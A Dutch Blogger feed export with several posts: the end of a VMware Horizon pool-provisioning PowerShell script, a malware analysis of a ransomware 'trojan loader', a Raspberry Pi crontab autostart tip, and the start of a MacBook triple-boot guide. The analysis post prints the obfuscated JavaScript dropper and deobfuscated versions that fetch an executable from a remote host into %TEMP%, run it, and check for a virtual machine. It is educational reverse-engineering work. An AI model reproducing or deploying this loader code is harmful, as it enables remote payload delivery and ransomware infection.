<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Write-Error ("[Add-BCPool] faalt! {0} : {1}" -f ($ErrorMessage, $FailedItem))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Break</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose "Rechten geven aan groepen..."</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Try {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Add-PoolEntitlement -pool_id $poolparm.pool_id `</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> -sid (get-user -name "DL View Limited Test users").sid | Out-Null</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Add-PoolEntitlement -pool_id $poolparm.pool_id `</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> -sid (get-user -name $UserGroup -IncludeUser $False -IncludeGroup $True).sid -ea:stop | Out-Null</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Catch {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $ErrorMessage = $_.Exception.Message</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $FailedItem = $_.Exception.ItemName</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Write-Error ("[Add-BCPool] faalt! {0} : {1}" -f ($ErrorMessage, $FailedItem))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Break</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose "Desktop creëren..."</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Try{ </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Update-AutomaticLinkedClonePool -pool_id $poolparm.pool_id `</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> -minimumCount 1 -maximumCount 1 -headroomCount 1</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Catch {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $ErrorMessage = $_.Exception.Message</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $FailedItem = $_.Exception.ItemName</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Write-Error ("[Add-BCPool] faalt! {0} : {1}" -f ($ErrorMessage, $FailedItem))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Break</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Write-Verbose "Pool inschakelen..."</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Try {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Update-AutomaticLinkedClonePool -pool_id $poolparm.pool_id `</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> -Disabled:$false -IsProvisioningEnabled:$true -ea:stop</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Catch {</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $ErrorMessage = $_.Exception.Message</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> $FailedItem = $_.Exception.ItemName</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Write-Error ("[Add-BCPool] faalt! {0} : {1}" -f ($ErrorMessage, $FailedItem))</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> Break</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">}</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># in geval van fouten opnieuw provisioning inschakelen</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># Update-AutomaticLinkedClonePool -pool_id $poolparms.pool_id `</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># -IsProvisioningEnabled:$true -SuspendProvisioningOnError:$false</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># met de hand vergroten als volgt:</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># Update-AutomaticLinkedClonePool -pool_id W7Studenten403 -minimumCount 2 -maximumCount 2 -headroomCount 2</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"># enable HTML Access</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Set-PoolHTMLAccess $poolparm.pool_id $True</span><br />
<div>
<br /></div>
Bye byeSikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-49026535144851854722016-03-18T11:36:00.001-07:002016-03-19T05:28:31.805-07:00Analyse van een trojan loaderIemand krijgt een mailtje met de bijlage payment_info_007278.zip, dubbelklikt dat en mogelijk ook<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-Sa_ZKxAh3MU/VuxKcE6ZKBI/AAAAAAAABDk/Z9ibyKpItvADSYhLcfAVmebTDsJTBiHqQ/s1600/shutterstock_290184341.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://4.bp.blogspot.com/-Sa_ZKxAh3MU/VuxKcE6ZKBI/AAAAAAAABDk/Z9ibyKpItvADSYhLcfAVmebTDsJTBiHqQ/s320/shutterstock_290184341.jpg" width="320" /></a></div>
op een bestand daarin en besmet zijn computer met ransomware. Al zijn documenten worden versleuteld via een encryptiealgoritme en er worden op diverse plaatsen bestanden gedropt met instructies hoe het losgeld te betalen , via URLs in het TOR-netwerk in het topdomein .onion . De bijlage bevat een "trojan loader". Hierin zitten een bitmap en twee JavaScript-bestanden genaamd <span style="font-family: "courier new" , "courier" , monospace;">billing_f487c29.js</span> en <span style="font-family: "courier new" , "courier" , monospace;">payment_details_005e4.js. </span>De analyse van de twee JavaScript-bestanden wordt hier beschreven.<br />
<div>
<br /></div>
<br />
<a name='more'></a><br />
<br />
De twee JavaScript-bestanden zijn verhaspeld ("obfuscated") , zodat het onduidelijk is wat de scripts precies doen , en ook om antivirus-software om de tuin te leiden en detectie te bemoeilijken. Een van de twee js-bestanden bevat de volgende obfuscated code.<br />
<br />
<br />
<code>
var lsLN = "n\x21";var olQxh = "iVjvr".charAt(0);var atY = "\x61\x67a";var wwVuJ = "try ";var p = "ase,\x20";var dnzi = "Ple";var sr = "\x316\x32";var TTbh = "68";var LpU = "3";var uz = "\x3218";var jgwmN = "0Gf".charAt(2);var m0 = "\x66a\x73d";var kAg = "\x61sd";var mKGFK = "df";var KuBG = "\x75h\x69\x73";var ySyh = "bGWsiaWF2dO".charAt(5);var ysnnI = "d\x66\x79";var ikUHm = "7\x6fgs";var KJRdj = "\x73d8\x66a";var iFoO = "u\x37h\x67";var Hkgd = "\x73dfa";var pvDN = "77olJo".charAt(5);var xlst = "\x66\x6bja";var xPLr = "asd\x6c";var FyWR = "l\x6f\x73e";var R1 = "AmcoUS".charAt(2);var wddag = "TYgpWej".charAt(5);var xNIv = "i\x6c";var UsTv = "\x54oF";var ujTj = "e";var cTckj = "S\x61v";var ZuM = "ion";var boO = "\x70osi\x74";var lPZ = "dy";var JvAuh = "eB\x6f";var xSknJ = "spons";var Ig = "\x65";var jjmiQ = "R";var n0 = "e";var e = "wr\x69t";var xBhB = "\x74y\x70e";var HVa = "en";var fCwBW = "o\x70";var YxufC = "am";var Pu = "\x72e";var zmDXv = "St";var SJv = ".";var wAUn = "\x41\x44O\x44B";var dCy = "ep";var IPtk = "S\x6ce";var nrB = "ate";var fB = "Bw1PtbauN".charAt(4);var VdUg = "voGestxH".charAt(4);var Sy = "\x72\x65ad\x79";var dDpWt = "se\x6ed";var m = "ha5gCUs6".charAt(3);var FssD = "e4f";var Dy = "\x68\x66";var o = "jniJBx".charAt(0);var UNjVl = "m/\x33";var xj = "a\x6c.co";var mN = "\x6ende";var kMQk = "po";var lv = "\x2eco\x75";var S1 = "\x77w";var yDC = "p://\x77";var ETI = "htt";var TWHtE = "4T".charAt(1);var csxM = "\x47E";var paN = "en";var Xu = "\x6fp";var i = "e\x63t";var N = "sHTj4pSCW".charAt(3);var R0 = "\x61t\x65O\x62";var BAEkz = "Cre";var cYvH = ".\x65xe";var xz = "\x38AP";var ONgJ = "y";var KoAnf = "d\x43";var D = "fNPCJ";var odM = "\x70\x6bC";var ceo = "MP\x25/";var L = "TE";var reb = "typ%qxd".charAt(3);var ITagc = "OXisVyw".charAt(3);var wdbIC = "i\x6e\x67";var GmMRe = "\x53tr";var W = "me\x6et";var mIai = "n";var gv = "\x72o";var SwYy = "\x64Envi";var H = "\x70an";var Nhco = "\x45\x78";var l = "u";var vpv = "Y";var czvN = "fG";var ZWk = "J\x77q";var Vj = "\x63\x6f\x6eds";var w = "\x6ci\x73\x65";var GM = "\x74Mil";var bnDpN = "\x67e";var TuHM = "e";var rafqm = "Da\x74";var sVFw = "ep";var ynVFp = "\x6c\x65";var usl = "S";var uoaV = "nd\x73";var jgrp = "\x65\x63\x6f";var LWzWY = "\x73";var wvNZ = "lli";var vbm = "tz8i0gR".charAt(3);var bHfFU = "tM";var RmiwB = "g\x65";var U0 = "D\x61\x74e";var R = "p";var g = "Sl\x65e";var y = "nds";var xH = "\x69\x73ec\x6f";var LJ = "l";var h = "il";var K = "t\x4d";var M = "e";var yp = "2MYqgZ9".charAt(4);var BVLV = "Da\x74e";var AFaz = "bjec\x74";var gjU = "O";var bPNuS = "te";var qKQMV = "e\x61";var U = "\x43r";var ACd = "\x54P";var CHc = "MLHT";var hM = ".X";var q = "SXML2";var toX = "M";var bciJn = "Run";var qqZsf = "e\x6cl";var dtA = "HoHhg".charAt(3);var eTQ = "\x70t.\x53";var en = "W\x53c\x72i";var Smpgw = "c\x74";var VS = "\x62\x6ae";var S0 = "\x65\x4f";var n = "Crea\x74";MEU = WScript[(n) + (S0) + (VS) + (Smpgw)]((en) + (eTQ) + (dtA) + (qqZsf));function fT(S){MEU[(bciJn)](S, 0, 0);};function jTe(){return (toX) + (q) + (hM) + (CHc) + (ACd);};function ay(){return (n) + (S0) + (VS) + (Smpgw);};function J(){return 22;};function jOJ(){ var hDPu = new this[(BVLV)](); var VYut = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)](); WScript[(g) + (R)](J()); var hDPu = new this[(BVLV)](); var KSJ = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)](); WScript[(g) + (R)](J()); var hDPu = new this[(BVLV)](); var ZGH = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)](); var tjOa = "Jwq"; tjOa = KSJ - VYut; var Hvc = "fGYu"; Hvc = ZGH - KSJ; return tjOa - Hvc;}var OIj = false;for (var A = 0; A < J() * 1; A++){ if (jOJ() != 0) { OIj = true; break; }}if (OIj){vC = MEU[(Nhco) + (H) + (SwYy) + (gv) + (mIai) + (W) + (GmMRe) + (wdbIC) + (ITagc)]((reb) + (L) + (ceo)) + (odM) + (D) + (KoAnf) + (ONgJ) + (xz) + (cYvH); MxNK = jTe(); Vwzqt = WScript[(n) + (S0) + (VS) + (Smpgw)](MxNK);Vwzqt[(Xu) + (paN)]((csxM) + (TWHtE), (ETI) + (yDC) + (S1) + (lv) + (kMQk) + (mN) + (xj) + (UNjVl) + (o) + (Dy) + (FssD) + (m), false);Vwzqt[(dDpWt)]();while (Vwzqt[(Sy) + (VdUg) + (fB) + (nrB)] < 4 ) {WScript[(g) + (R)](J() * 10)};erbFV = WScript[ay()]((wAUn) + (SJv) + (zmDXv) + (Pu) + (YxufC));erbFV[((Xu) + (paN))]();erbFV[(xBhB)] = 1;erbFV[(e) + (n0)](Vwzqt[(jjmiQ) + (Ig) + (xSknJ) + (JvAuh) + (lPZ)]);erbFV[(boO) + (ZuM)] = 0;erbFV[(cTckj) + (ujTj) + (UsTv) + (xNIv) + (wddag)](vC, 2 );erbFV[(R1) + (FyWR)]();fT(vC);tjOa = "" + (xPLr) + (xlst) + (pvDN) + (Hkgd) + (iFoO) + (KJRdj) + (ikUHm) + (ysnnI) + (ySyh) + (KuBG) + (mKGFK) + OIj ? (kAg) + (m0) + (jgwmN) : (uz) + (LpU) + (TTbh) + (sr);}else{WScript.Echo((dnzi) + (p) + (wwVuJ) + (atY) + (olQxh) + (lsLN));}
</code>
<br />
<br />
<br />
<h3>
Stap 1 deobfuscate</h3>
Het deobfusceren hiervan kan door de code te uploaden naar http://jsbeautifier.org en daar de optie "Unescape printable chars encoded" aan te vinken. Jsbeautifier produceert code die opgeschoond, urlencoded tekens worden omgezet in de letterlijke tekens, statements op aparte regels gezet en er wordt netjes ingesprongen. Al met al is de code al iets leesbaarder.<br />
<br />
<br />
<pre>var lsLN = "n!";
var olQxh = "i";
var atY = "aga";
var wwVuJ = "try ";
var p = "ase, ";
var dnzi = "Ple";
var sr = "162";
var TTbh = "68";
var LpU = "3";
var uz = "218";
var jgwmN = "f";
var m0 = "fasd";
var kAg = "asd";
var mKGFK = "df";
var KuBG = "uhis";
var ySyh = "a";
var ysnnI = "dfy";
var ikUHm = "7ogs";
var KJRdj = "sd8fa";
var iFoO = "u7hg";
var Hkgd = "sdfa";
var pvDN = "o";
var xlst = "fkja";
var xPLr = "asdl";
var FyWR = "lose";
var R1 = "c";
var wddag = "e";
var xNIv = "il";
var UsTv = "ToF";
var ujTj = "e";
var cTckj = "Sav";
var ZuM = "ion";
var boO = "posit";
var lPZ = "dy";
var JvAuh = "eBo";
var xSknJ = "spons";
var Ig = "e";
var jjmiQ = "R";
var n0 = "e";
var e = "writ";
var xBhB = "type";
var HVa = "en";
var fCwBW = "op";
var YxufC = "am";
var Pu = "re";
var zmDXv = "St";
var SJv = ".";
var wAUn = "ADODB";
var dCy = "ep";
var IPtk = "Sle";
var nrB = "ate";
var fB = "t";
var VdUg = "s";
var Sy = "ready";
var dDpWt = "send";
var m = "g";
var FssD = "e4f";
var Dy = "hf";
var o = "j";
var UNjVl = "m/3";
var xj = "al.co";
var mN = "nnde";
var kMQk = "po";
var lv = ".cou";
var S1 = "ww";
var yDC = "p://w";
var ETI = "htt";
var TWHtE = "T";
var csxM = "GE";
var paN = "en";
var Xu = "op";
var i = "ect";
var N = "j";
var R0 = "ateOb";
var BAEkz = "Cre";
var cYvH = ".exe";
var xz = "8AP";
var ONgJ = "y";
var KoAnf = "dC";
var D = "fNPCJ";
var odM = "pkC";
var ceo = "MP%/";
var L = "TE";
var reb = "%";
var ITagc = "s";
var wdbIC = "ing";
var GmMRe = "Str";
var W = "ment";
var mIai = "n";
var gv = "ro";
var SwYy = "dEnvi";
var H = "pan";
var Nhco = "Ex";
var l = "u";
var vpv = "Y";
var czvN = "fG";
var ZWk = "Jwq";
var Vj = "conds";
var w = "lise";
var GM = "tMil";
var bnDpN = "ge";
var TuHM = "e";
var rafqm = "Dat";
var sVFw = "ep";
var ynVFp = "le";
var usl = "S";
var uoaV = "nds";
var jgrp = "eco";
var LWzWY = "s";
var wvNZ = "lli";
var vbm = "i";
var bHfFU = "tM";
var RmiwB = "ge";
var U0 = "Date";
var R = "p";
var g = "Slee";
var y = "nds";
var xH = "iseco";
var LJ = "l";
var h = "il";
var K = "tM";
var M = "e";
var yp = "g";
var BVLV = "Date";
var AFaz = "bject";
var gjU = "O";
var bPNuS = "te";
var qKQMV = "ea";
var U = "Cr";
var ACd = "TP";
var CHc = "MLHT";
var hM = ".X";
var q = "SXML2";
var toX = "M";
var bciJn = "Run";
var qqZsf = "ell";
var dtA = "h";
var eTQ = "pt.S";
var en = "WScri";
var Smpgw = "ct";
var VS = "bje";
var S0 = "eO";
var n = "Creat";
MEU = WScript[(n) + (S0) + (VS) + (Smpgw)]((en) + (eTQ) + (dtA) + (qqZsf));
function fT(S) {
MEU[(bciJn)](S, 0, 0);
};
function jTe() {
return (toX) + (q) + (hM) + (CHc) + (ACd);
};
function ay() {
return (n) + (S0) + (VS) + (Smpgw);
};
function J() {
return 22;
};
function jOJ() {
var hDPu = new this[(BVLV)]();
var VYut = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)]();
WScript[(g) + (R)](J());
var hDPu = new this[(BVLV)]();
var KSJ = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)]();
WScript[(g) + (R)](J());
var hDPu = new this[(BVLV)]();
var ZGH = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)]();
var tjOa = "Jwq";
tjOa = KSJ - VYut;
var Hvc = "fGYu";
Hvc = ZGH - KSJ;
return tjOa - Hvc;
}
var OIj = false;
for (var A = 0; A < J() * 1; A++) {
if (jOJ() != 0) {
OIj = true;
break;
}
}
if (OIj) {
vC = MEU[(Nhco) + (H) + (SwYy) + (gv) + (mIai) + (W) + (GmMRe) + (wdbIC) + (ITagc)]((reb) + (L) + (ceo)) + (odM) + (D) + (KoAnf) + (ONgJ) + (xz) + (cYvH);
MxNK = jTe();
Vwzqt = WScript[(n) + (S0) + (VS) + (Smpgw)](MxNK);
Vwzqt[(Xu) + (paN)]((csxM) + (TWHtE), (ETI) + (yDC) + (S1) + (lv) + (kMQk) + (mN) + (xj) + (UNjVl) + (o) + (Dy) + (FssD) + (m), false);
Vwzqt[(dDpWt)]();
while (Vwzqt[(Sy) + (VdUg) + (fB) + (nrB)] < 4) {
WScript[(g) + (R)](J() * 10)
};
erbFV = WScript[ay()]((wAUn) + (SJv) + (zmDXv) + (Pu) + (YxufC));
erbFV[((Xu) + (paN))]();
erbFV[(xBhB)] = 1;
erbFV[(e) + (n0)](Vwzqt[(jjmiQ) + (Ig) + (xSknJ) + (JvAuh) + (lPZ)]);
erbFV[(boO) + (ZuM)] = 0;
erbFV[(cTckj) + (ujTj) + (UsTv) + (xNIv) + (wddag)](vC, 2);
erbFV[(R1) + (FyWR)]();
fT(vC);
tjOa = "" + (xPLr) + (xlst) + (pvDN) + (Hkgd) + (iFoO) + (KJRdj) + (ikUHm) + (ysnnI) + (ySyh) + (KuBG) + (mKGFK) + OIj ? (kAg) + (m0) + (jgwmN) : (uz) + (LpU) + (TTbh) + (sr);
} else {
WScript.Echo((dnzi) + (p) + (wwVuJ) + (atY) + (olQxh) + (lsLN));
}</pre>
<br />
<br />
<h3>
Stap 2 Vervang variabelen door literals</h3>
Het is duidelijker dat de werkelijke bedoeling nog steeds obscuur blijft vanwege al die onduidelijhk variabelen die overal gebruikt worden. Met een stukje PowerShell-code kunnen deze variabelen waar deze gebruikt worden worden vervangen door de letterlijke stringwaarden. Dit is de PowerShellcode.<br />
<br />
<br />
<pre><#
deobfuscate-malware.ps1
Paul Wiegmans 2016-318
deobfuscate the javascripts in ransomware "Locky" (or I think that is it)
by replacing obfuscating variables with their literal string values.
PROCEDURE
1. replace by hand all literal strings with charAt(n) values by the resulting char.
2. deobfuscate javascript file at http://jsbeautifier.org (check unescape encoded chars)
3. run this to get a more deobfuscated javascript
#>
Clear-Host
$inputname = "billing_f487c29-step2.jx"
$lines = Get-Content $inputname
$testline = "iEeJ = WScript[(hc) + (VOJ) + (ASYo) + (o) + (D0)]((vj) + (n) + (aI) + (Yhyn) + (mna) + (HKE));"
$crlf = "`n`r"
$outlines = @()
$var = [regex]'^var ([\w]+) = ([\w\s\S\"]+);$'
$t=0
while ($lines.length) {
$line, $lines = $lines -split $crlf
if ($var.IsMatch($line)) {
$line = $line -replace "var ","" -replace " = ","=" -replace ";","" -split "="
$replacewhat = "("+ $line[0] + ")"
$replacewith = $line[1]
$lines = $lines.Replace($replacewhat,$replacewith)
$testline = $testline.Replace($replacewhat,$replacewith)
} else {
$outlines += $line
}
}
$outlines = $outlines.Replace('" + "','')
$outlines | Set-Content ($inputname + "-deob.jx")
</pre>
<br />
In de uitvoer die dit script produceert<br />
<br />
<br />
<pre>MEU = WScript["CreateObject"]("WScript.Shell");
function fT(S) {
MEU["Run"](S, 0, 0);
};
function jTe() {
return "MSXML2.XMLHTTP";
};
function ay() {
return "CreateObject";
};
function J() {
return 22;
};
function jOJ() {
var hDPu = new this["Date"]();
var VYut = hDPu["getMilliseconds"]();
WScript["Sleep"](J());
var hDPu = new this["Date"]();
var KSJ = hDPu["getMilliseconds"]();
WScript["Sleep"](J());
var hDPu = new this["Date"]();
var ZGH = hDPu["getMilliseconds"]();
var tjOa = "Jwq";
tjOa = KSJ - VYut;
var Hvc = "fGYu";
Hvc = ZGH - KSJ;
return tjOa - Hvc;
}
for (var A = 0; A < J() * 1; A++) {
if (jOJ() != 0) {
OIj = true;
break;
}
}
if false {
vC = MEU["ExpandEnvironmentStrings"]("%TEMP%/") + "CJdCy8APkCfNP.exe";</pre>
<pre> MxNK = jTe();
Vwzqt = WScript["CreateObject"](MxNK);
Vwzqt["open"]("GET", "http://www.malwaredomein.com/4r3e5t2w", false);
Vwzqt["send"]();
while (Vwzqt["readystate"] < 4) {
WScript["Sleep"](J() * 10)
};
erbFV = WScript[ay()]("ADODB.Stream");
erbFV[("open")]();
erbFV["type"] = 1;
erbFV["write"](Vwzqt["ResponseBody"]);
erbFV["position"] = 0;
erbFV["SaveToFile"](vC, 2);
erbFV["close"]();
fT(vC);
tjOa = "asdlfkjaosdfau7hgsd8fa7ogsdfyauhisdf" + OIj ? "asdfasdf" : "218368162";
} else {
WScript.Echo("Please, try again!");
}
</pre>
<br />
<h3>
Step 3 Zinvolle namen</h3>
Dit is de JavaScript die uiteindelijk wordt uitgevoerd door WScript op Windows-computers, oftewel Windows Script Host . Na nog enkele identifiers te hebbeen vervangen van zinnige namen, ziet de code van de trojan loader er zo uit:<br />
<br />
<br />
<br />
<br />
<pre>objShell = WScript["CreateObject"]("WScript.Shell");
function Runcommand(S) {
objShell["Run"](S, 0, 0);
};
function Tijdmeting() {
var oDate = new this["Date"]();
var Tijd1 = oDate["getMilliseconds"]();
WScript["Sleep"](22);
var oDate = new this["Date"]();
var Tijd2 = oDate["getMilliseconds"]();
WScript["Sleep"](22);
var oDate = new this["Date"]();
var Tijd3 = oDate["getMilliseconds"]();
var Verschil1 = Tijd2 - Tijd1;
var Verschil2 = Tijd3 - Tijd2;
return Verschil1 - Verschil2;
}
for (var A = 0; A < 22 * 1; A++) {
if (Tijdmeting() != 0) {
Vlag = true;
break;
}
}
if (Vlag) {
TempFile = objShell["ExpandEnvironmentStrings"]("%TEMP%/") + "UiiePHHdUioBE,Q.exe";
ObjectType = "MSXML2.XMLHTTP";
HttpRequest = WScript["CreateObject"](ObjectType);
HttpRequest["open"]("GET", "http://www.malwaredomein.com/5ty4u7eu8", false);
HttpRequest["send"]();
while (HttpRequest["readystate"] < 4) {
WScript["Sleep"](22 * 10)
};
Binarystream = WScript["CreateObject"]("ADODB.Stream");
Binarystream[("open")]();
Binarystream["type"] = 1;
Binarystream["write"](HttpRequest["ResponseBody"]);
Binarystream["position"] = 0;
Binarystream["SaveToFile"](TempFile, 2);
Binarystream["close"]();
Runcommand(TempFile);
tjOa = "asdlfkjaosdfau7hgsd8fa7ogsdfyauhisdf" + Vlag ? "asdfasdf" : "218368162";
} else {
WScript.Echo("Please, try again!");
}
</pre>
<br />
Wat ik hier zie gebeuren in deze code is het volgende:<br />
<br />
<ul>
<li>Het script meet in de functie Tijdmeting() een aantal keren het verschil in tijdsduur van twee wachtperioden. Volgens mij is dit een controle of het script wordt uitgevoerd op een fysieke computer, in tegenstelling tot een virtuele machine. Is het een fysieke computer, dan zet het variable Vlag op True en gaat het script door. Draait het in een virtuele machine, dan zet het Vlag op false en breekt het script af.</li>
<li>Het script stuurt een "GET" opdracht over een HTTP-verbinding met een bepaalde website, en ontvangt vervolgens een hoeveelheid binaire gegevens, die deze bewaart in een bestand met een willekeurige naam en een ".exe"-extensie in de TEMP-map en voert dit vervolgens uit. Hier wordt de trojan opgehaald en uitgevoerd en wordt een volgende fase van de besmetting van de computer in gang gezet.</li>
</ul>
<div>
Het andere JavaScript-bestand is ook geobfusceerd (verhaspeld) maar gebruikt andere namen en bevat na deobfuscatie feitelijk precies dezelfde code. </div>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0Western Europe46.2021848 1.2643874999999981.2004647999999989 -81.3528 90 83.881575tag:blogger.com,1999:blog-6983252481296197571.post-10011307984177773592015-10-16T06:51:00.003-07:002015-10-16T06:59:28.232-07:00Programma's op de Raspberry Pi automatisch starten<a href="http://4.bp.blogspot.com/-9pegyuPm87A/ViECZ4ORK4I/AAAAAAAABCE/zMxQ6hWpQMg/s1600/raspberry-pi-sense-hat.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="246" src="http://4.bp.blogspot.com/-9pegyuPm87A/ViECZ4ORK4I/AAAAAAAABCE/zMxQ6hWpQMg/s320/raspberry-pi-sense-hat.jpg" width="320" /></a>Hier vond ik een tip om op een simpele en betrouwbare manier je eigen (Python) programma's <a href="http://www.instructables.com/id/Raspberry-Pi-Launch-Python-script-on-startup/">Instructables</a> en dit is een korte samenvatting.<br />
<br />
In het kort gebruik ik een startscript en crontab om dit voor elkaar te krijgen. Ik heb in de directory <span style="font-family: inherit;">sense-hat een Python-programma genaamd rainbow.pi die een lopende regenboog laat zien op de Sense-HAT op een Raspberry Pi 2. </span><br />
<span style="font-family: inherit;"></span><br />
<a name='more'></a><span style="font-family: inherit;"><br /></span>
<br />
<h3>
<span style="font-family: inherit;">Startscript</span></h3>
<span style="font-family: inherit;">Allereerst maak ik in /home/pi een script die ik autostarter.sh noem. De inhoud hiervan wijzigt de actieve directory en start het python programma. </span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><b>#!/bin/sh</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>#</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>cd /home/pi/sense-hat</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>python rainbow.py</b></span><br />
<br />
<h3>
Logdirectory</h3>
Maak nu een directory voor de logs.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">mkdir ~/logs</span><br />
<br />
Hier bewaart Crontab de log bij het uitvoeren van het startscript. Dat is handig om fouten te zoeken.<br />
<h3>
Crontab</h3>
Vervolgens bewerken we het systeem-crontab en voegen een regel toe die het startscript start op het event "@reboot". Bewerk crontab met het commando :<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">sudo crontab -e</span><br />
<br />
Voeg de volgende regel toe aan het eind van het bestand :<br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;"><b>@reboot sh /home/pi/autostarter.sh > /home/pi/logs/cronlog 2>&1</b></span><br />
<div>
<br /></div>
Opslaan en klaar!<br />
<h3>
Testen</h3>
<div>
Nu testen. Herstart de Raspberry Pi met sudo reboot. Kijk of het werkt. Werkt het niet, inspecteer de inhoud van <span style="font-family: Courier New, Courier, monospace;">/home/pi/logs/cronlog</span> om te zien wat er misging. </div>
<br />Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-89554428271003158822014-10-21T08:07:00.000-07:002014-10-21T08:08:27.638-07:00MacBook triple boot anno 2014<h2 style="border: 0px; color: #444444; font-family: Lobster, sans-serif; font-stretch: inherit; font-weight: inherit; line-height: 24px; margin: 0px; padding: 0px; vertical-align: baseline;">
Hoe maak ik een MacBook triple boot</h2>
<div style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; padding: 0px 0px 1em; vertical-align: baseline;">
We maken een triple-boot Macbook met de volgende OS'en:</div>
<ul style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Mac OS X</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Windows 8.1</li>
<li style="border: 0px; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: disc; margin: 0px 0px 0px 24px; padding: 0px; vertical-align: baseline;">Lubuntu 14.04</li>
</ul>
<div class="vspace" style="border: 0px; color: #444444; font-family: Ubuntu, sans-serif; font-size: 16px; font-stretch: inherit; line-height: 24px; margin: 1.33em 0px 0px; padding: 0px; vertical-align: baseline;">
</div>
